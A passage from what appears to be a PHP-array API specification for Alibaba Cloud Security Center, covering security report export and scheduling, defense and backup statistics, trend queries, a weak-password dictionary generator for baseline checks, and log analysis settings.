response parameters.'."\n", 'type' => 'object', 'properties' => [ 'ExportId' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '22', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'FFDFCEB3-A5EE-590A-8E70-283EBC5D****', ], 'DownloadUrl' => [ 'description' => 'The download URL of the security report.'."\n", 'type' => 'string', 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', ], 'UrlExpiredTime' => [ 'description' => 'The timestamp when the download URL expires. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1673335497000', ], 'ExportDate' => [ 'description' => 'The time when the security report was exported.'."\n", 'type' => 'string', 'example' => '2023-01-10', ], 'ReportId' => [ 'description' => 'The ID of the security report.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'FileName' => [ 'description' => 'The name of the report file that is exported.'."\n", 'type' => 'string', 'example' => 'test_xxxx.html', ], 'ExportStatus' => [ 'description' => 'The status of the export task. Valid values:'."\n" ."\n" .'* **fail**: The export task fails.'."\n" .'* **exporting**: The export task is being executed.'."\n" .'* **success**: The export task is successful.'."\n", 'type' => 'string', 'example' => 'exporting', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ExportId\\": 22,\\n \\"RequestId\\": \\"FFDFCEB3-A5EE-590A-8E70-283EBC5D****\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"UrlExpiredTime\\": 1673335497000,\\n \\"ExportDate\\": \\"2023-01-10\\",\\n \\"ReportId\\": 123,\\n \\"FileName\\": \\"test_xxxx.html\\",\\n \\"ExportStatus\\": \\"exporting\\"\\n}","type":"json"}]', 'title' => 'ExportCustomizeReport', ], 'GenerateDynamicDict' => [ 'summary' => 'Generates a custom dictionary of weak passwords for the baseline check feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '92286', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '58.248.XX.XX', ], ], [ 'name' => 'Domains', 'in' => 'query', 'schema' => [ 'description' => 'The domain name for custom weak passwords.'."\n", 'type' => 'string', 'required' => false, 'example' => 'https://www.aliyun.com', ], ], [ 'name' => 'Names', 'in' => 'query', 'schema' => [ 'description' => 'The company name for custom weak passwords.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Alibaba', ], ], [ 'name' => 'ArgKeywords', 'in' => 'query', 'schema' => [ 'description' => 'The keyword of the dictionary.'."\n", 'type' => 'string', 'required' => false, 'example' => 'keyword', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '00E9B912-6066-5E4E-9F24-35EA09F2****', ], 'KeywordList' => [ 'description' => 'The custom weak passwords.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the custom weak password.'."\n", 'type' => 'string', 'example' => '123456.Alibaba'."\n", ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => '-101', 'errorMessage' => '%s %s', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\\\n\\",\\n \\"KeywordList\\": [\\n \\"123456.Alibaba\\\\n\\"\\n ]\\n}","type":"json"}]', 'title' => 'GenerateDynamicDict', ], 'GetDefenceCount' => [ 'summary' => 'Queries the numbers of handled alerts of the precision defense type and the web tamper proofing type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92295', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'DefenceCountTotal' => [ 'description' => 'The number of handled alerts of the precision defense type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TamperProof15Days' => [ 'description' => 'The number of handled alerts of the web tamper proofing type in the last 15 days.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'DefenceCount15Days' => [ 'description' => 'The number of handled alerts of the precise defense type in the last 15 days.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TamperProofTotal' => [ 'description' => 'The number of handled alerts of the web tamper proofing type.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', ], 'SuspiciousDealtCount' => [ 'description' => 'The number of handled security alerts of Cloud Security Center.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"DefenceCountTotal\\": 1,\\n \\"TamperProof15Days\\": 2,\\n \\"DefenceCount15Days\\": 1,\\n \\"TamperProofTotal\\": 1,\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"SuspiciousDealtCount\\": 3\\n}","type":"json"}]', 'title' => 'GetDefenceCount', ], 'OperationCustomizeReportChart' => [ 'summary' => 'Modifies the chart of a security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92420', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'ChartIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the chart that is included in the report. Separate multiple IDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeChartList](~~DescribeChartList~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'CID_VUL_SUMMARY,CID_VUL_TREND,CID_VUL_OPERATION_TREND,CID_BASELINE_CHECK_SUMMARY,CID_BASELINE_CHECK_TREND,CID_BASELINE_CHECK_OPERATION_TREND', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '432B2D4E-C8D3-52E4-9F68-35E0C05F****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"432B2D4E-C8D3-52E4-9F68-35E0C05F****\\"\\n}","type":"json"}]', 'title' => 'OperationCustomizeReportChart', ], 'SaveCustomizeReportConfig' => [ 'summary' => 'Saves the configurations of a custom security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92433', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], [ 'name' => 'ReportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the report. Valid values:'."\n" ."\n" .'* **0**: daily report.'."\n" .'* **1**: weekly report.'."\n" .'* **2**: monthly report.'."\n" .'* **3**: report whose statistics are collected within a custom time range.'."\n" .'* **4**: report of the most recent time range.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '4', ], ], [ 'name' => 'Title', 'in' => 'query', 'schema' => [ 'description' => 'The title of the report.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Daily Report', ], ], [ 'name' => 'ReportSendType', 'in' => 'query', 'schema' => [ 'description' => 'The time range in which the report is sent. Valid values:'."\n" ."\n" .'* **1**: 00:00 to 06:00.'."\n" .'* **2**: 06:00 to 12:00.'."\n" .'* **3**: 12:00 to 18:00.'."\n" .'* **4**: 18:00 to 24:00.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], [ 'name' => 'ReportStartDate', 'in' => 'query', 'schema' => [ 'description' => 'The start date on which the report is sent. The value is in the yyyy-MM-dd format.'."\n" ."\n" .'> This parameter is required if the ReportType parameter is set to 3.'."\n", 'type' => 'string', 'required' => false, 'example' => '2024-01-01', ], ], [ 'name' => 'ReportEndDate', 'in' => 'query', 'schema' => [ 'description' => 'The end date on which the report is sent. The value is in the yyyy-MM-dd format.'."\n" ."\n" .'> This parameter is required if the ReportType parameter is set to 3.'."\n", 'type' => 'string', 'required' => false, 'example' => '2024-01-15', ], ], [ 'name' => 'Recipients', 'in' => 'query', 'schema' => [ 'description' => 'The email address of the recipient. Separate multiple email addresses with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => 'xxx@163.com', ], ], [ 'name' => 'ReportStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the report. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'ReportLang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the report. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SendEndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end time at which the report is sent. The value is in the HH:mm:ss format.'."\n" ."\n" .'> This parameter is required if the ReportType parameter is set to 0, 1, 2, or 4.'."\n", 'type' => 'string', 'required' => false, 'example' => '10:00:00', ], ], [ 'name' => 'SendStartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start time at which the report is sent. The value is in the HH:mm:ss format.'."\n" ."\n" .'> This parameter is required if the ReportType parameter is set to 0, 1, 2, or 4.'."\n", 'type' => 'string', 'required' => false, 'example' => '09:00:00', ], ], [ 'name' => 'PinnedTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the report is pinned. Unit: milliseconds.'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1717430400000', ], ], [ 'name' => 'ReportDays', 'in' => 'query', 'schema' => [ 'description' => 'The most recent days for report statistics.'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'SendPeriodType', 'in' => 'query', 'schema' => [ 'description' => 'The interval at which the report is sent. Valid values:'."\n" ."\n" .'* **DAY**'."\n" .'* **WEEK**'."\n" .'* **MONTH**'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => 'MONTH', ], ], [ 'name' => 'SendPeriodDays', 'in' => 'query', 'schema' => [ 'description' => 'The exact day within the sending period.'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '12', ], ], [ 'name' => 'TargetUids', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Alibaba Cloud account. Separate multiple IDs with commas (,).'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => '12,123', ], ], [ 'name' => 'GroupType', 'in' => 'query', 'schema' => [ 'description' => 'The grouping type. Valid values:'."\n" ."\n" .'* **ALIYUN_RG**'."\n" .'* **SAS_GROUP**'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SAS_GROUP', ], ], [ 'name' => 'TargetGroups', 'in' => 'query', 'schema' => [ 'description' => 'The groups.'."\n" ."\n" .'> This parameter is supported only in version 2.0.0.'."\n", 'type' => 'string', 'required' => false, 'example' => '12,123', ], ], [ 'name' => 'ReportVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the report. Valid values:'."\n" ."\n" .'* **1.0.0**'."\n" .'* **2.0.0**'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.0', ], ], [ 'name' => 'MemberAccountSyncFlag', 'in' => 'query', 'schema' => [ 'description' => 'Whether the new account is connected by default. Values: '."\n" .'- **true**: Yes. '."\n" .'- **false**: No. '."\n" .'> Only supported in version 2.0.0.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'ReportId' => [ 'description' => 'The ID of the report.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '123', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '11472B29-1A1C-5D7F-944B-7CD84319****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ReportId\\": 123,\\n \\"RequestId\\": \\"11472B29-1A1C-5D7F-944B-7CD84319****\\"\\n}","type":"json"}]', 'title' => 'SaveCustomizeReportConfig', 'translator' => 'machine', ], 'SendCustomizeReport' => [ 'summary' => 'Sends a security report to an email address that you specify. You can send only a security report whose statistics are collected in a custom time range.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92439', 'abilityTreeNodes' => [ 'FEATUREsasAT4UY0', ], ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the security report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '2BEA397D-1FD0-5C79-AB24-EC051158****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2BEA397D-1FD0-5C79-AB24-EC051158****\\"\\n}","type":"json"}]', 'title' => 'SendCustomizeReport', ], 'UpdateCustomizeReportStatus' => [ 'summary' => 'Changes the status of a security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ReportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the report.'."\n" ."\n" .'> You can call the [DescribeCustomizeReportList](~~DescribeCustomizeReportList~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'ReportStatus', 'in' => 'query', 'schema' => [ 'description' => 'The status of the report. Valid values:'."\n" ."\n" .'* **0**: disabled.'."\n" .'* **1**: enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PinnedTime', 'in' => 'query', 'schema' => [ 'description' => 'The time when the report is pinned. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1717430400000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '64C76BEE-6A47-54D9-BD91-BD3E8A1B****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"64C76BEE-6A47-54D9-BD91-BD3E8A1B****\\"\\n}","type":"json"}]', 'title' => 'UpdateCustomizeReportStatus', ], 'DescribeUniBackupStatistics' => [ 'summary' => 'Queries the statistics on backups based on anti-ransomware policies.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalRestoreTaskCount' => [ 'description' => 'The total number of the restoration tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'UnprotectedDatabaseCount' => [ 'description' => 'The number of unprotected database instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RestoringTaskCount' => [ 'description' => 'The number of the restoration tasks that are running.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ProtectedDatabaseCount' => [ 'description' => 'The number of protected database instances.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalRecoverableCount' => [ 'description' => 'The total number of database instances that can be restored.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'RegionCountList' => [ 'description' => 'The regions of the database instances.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region of the database instance.'."\n", 'type' => 'object', 'properties' => [ 'RegionId' => [ 'description' => 'The ID of the region in which the database instance resides.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'AutomaticCount' => [ 'description' => 'The number of database instances that are automatically scanned.'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalRestoreTaskCount\\": 10,\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"UnprotectedDatabaseCount\\": 5,\\n \\"RestoringTaskCount\\": 0,\\n \\"ProtectedDatabaseCount\\": 1,\\n \\"TotalRecoverableCount\\": 3,\\n \\"RegionCountList\\": [\\n {\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"AutomaticCount\\": \\"1\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUniBackupStatistics', ], 'DescribeUserSetting' => [ 'summary' => 'Queries the settings of a custom baseline check policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '58.248.87.10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'InvalidWarningKeepDays' => [ 'description' => 'The number of days during which you want to retain invalid alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'AlertLevels' => [ 'description' => 'The severities of alerts. If this parameter is empty, no custom alerts are generated.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The severity of the alert. Valid values:'."\n" ."\n" .'1. high'."\n" .'2. medium'."\n" .'3. low'."\n", 'type' => 'string', 'example' => 'high', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvalidWarningKeepDays\\": 30,\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"AlertLevels\\": [\\n \\"high\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeUserSetting', ], 'GetDataTrend' => [ 'summary' => 'Queries the security operations trends of the vulnerabilities, alerts, and baseline risks.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '120889', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'BizTypes', 'in' => 'query', 'schema' => [ 'description' => 'The type of the security data that you want to query. Valid values:'."\n" ."\n" .'* **HC_NEW**: the number of new baseline risks.'."\n" .'* **HC_OPERATE**: the number of handled baseline risks.'."\n" .'* **VUL_NEW**: the number of new vulnerabilities.'."\n" .'* **VUL_OPERATE**: the number of handled vulnerabilities.'."\n" .'* **SUSP_NEW**: the number of new alerts.'."\n" .'* **SUSP_OPERATE**: the number of handled alerts.'."\n", 'type' => 'string', 'required' => true, 'example' => 'HC_NEW,HC_OPERATE', ], ], [ 'name' => 'StartTimestamp', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1687334501000', ], ], [ 'name' => 'EndTimestamp', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. The value is a UNIX timestamp. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1721923200000', ], ], [ 'name' => 'Interval', 'in' => 'query', 'schema' => [ 'description' => 'The interval of the data that you want to query. Unit: milliseconds.'."\n" ."\n" .'> The minimum value is 1000.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'minimum' => '1000', 'example' => '86400000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'DateList' => [ 'description' => 'The statistical timestamps of the trend data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistical timestamp of the trend data. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1721404800', ], ], 'DateStrList' => [ 'description' => 'The statistical dates and time for the trend data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistical time and date of the trend data.'."\n" ."\n" .'> The value is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2024-01-01 00:00:00', ], ], 'ItemList' => [ 'description' => 'The returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'KeyName' => [ 'description' => 'The type of the security data. Valid values:'."\n" ."\n" .'* **HC_NEW**: the number of new baseline risks.'."\n" .'* **HC_OPERATE**: the number of handled baseline risks.'."\n" .'* **VUL_NEW**: the number of new vulnerabilities.'."\n" .'* **VUL_OPERATE**: the number of handled vulnerabilities.'."\n" .'* **SUSP_NEW**: the number of new alerts.'."\n" .'* **SUSP_OPERATE**: the number of handled alerts.'."\n", 'type' => 'string', 'example' => 'HC_NEW', ], 'CountList' => [ 'description' => 'The statistical values of the trend data.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistical value of the trend data.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"DateList\\": [\\n 1721404800\\n ],\\n \\"DateStrList\\": [\\n \\"2024-01-01 00:00:00\\"\\n ],\\n \\"ItemList\\": [\\n {\\n \\"KeyName\\": \\"HC_NEW\\",\\n \\"CountList\\": [\\n 10\\n ]\\n }\\n ]\\n },\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\"\\n}","type":"json"}]', 'title' => 'GetDataTrend', ], 'ResetLogShipper' => [ 'summary' => 'Resets and upgrades the log analysis feature. You can call this operation only when the log analysis feature uses the pay-as-you-go billing method.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '138847', 'abilityTreeNodes' => [ 'FEATUREsasA2G5MU', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Ttl', 'in' => 'query', 'schema' => [ 'description' => 'The global log retention period.'."\n" ."\n" .'> This parameter is supported only when the log analysis feature uses the pay-as-you-go billing method.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '180', ], ], [ 'name' => 'HotTtl', 'in' => 'query', 'schema' => [ 'description' => 'The global retention period of hot data.'."\n" ."\n" .'> The value of this parameter must be at least 7 and smaller than the log retention period. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], [ 'name' => 'LogMetaList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The settings of the log analysis feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The setting of the log analysis feature.'."\n", 'type' => 'object', 'properties' => [ 'ConfigLogStore' => [ 'description' => 'The Logstore that you want to configure.'."\n" ."\n" .'> You can call the [DescribeLogMeta](~~DescribeLogMeta~~) operation to query the Logstore.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas-security-log', ], 'Status' => [ 'description' => 'The status of the log analysis feature. Valid values:'."\n" ."\n" .'* **disabled**'."\n" .'* **enabled**'."\n", 'type' => 'string', 'required' => false, 'example' => 'enabled', ], 'Ttl' => [ 'description' => 'The log retention period of the Logstore.'."\n" ."\n" .'> If you specify this parameter for the Logstore, the global log retention period specified by the Ttl parameter is overwritten.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '60', ], 'HotTtl' => [ 'description' => 'The retention period of hot data in the Logstore.'."\n" ."\n" .'> The value of this parameter must be at least 7 and smaller than the log retention period. Unit: days. If you specify this parameter for the Logstore, the global retention period of hot data specified by the HotTtl parameter is overwritten.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '7', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 50, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D2E31293-DAAC-574B-B816-A18EA0A6****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 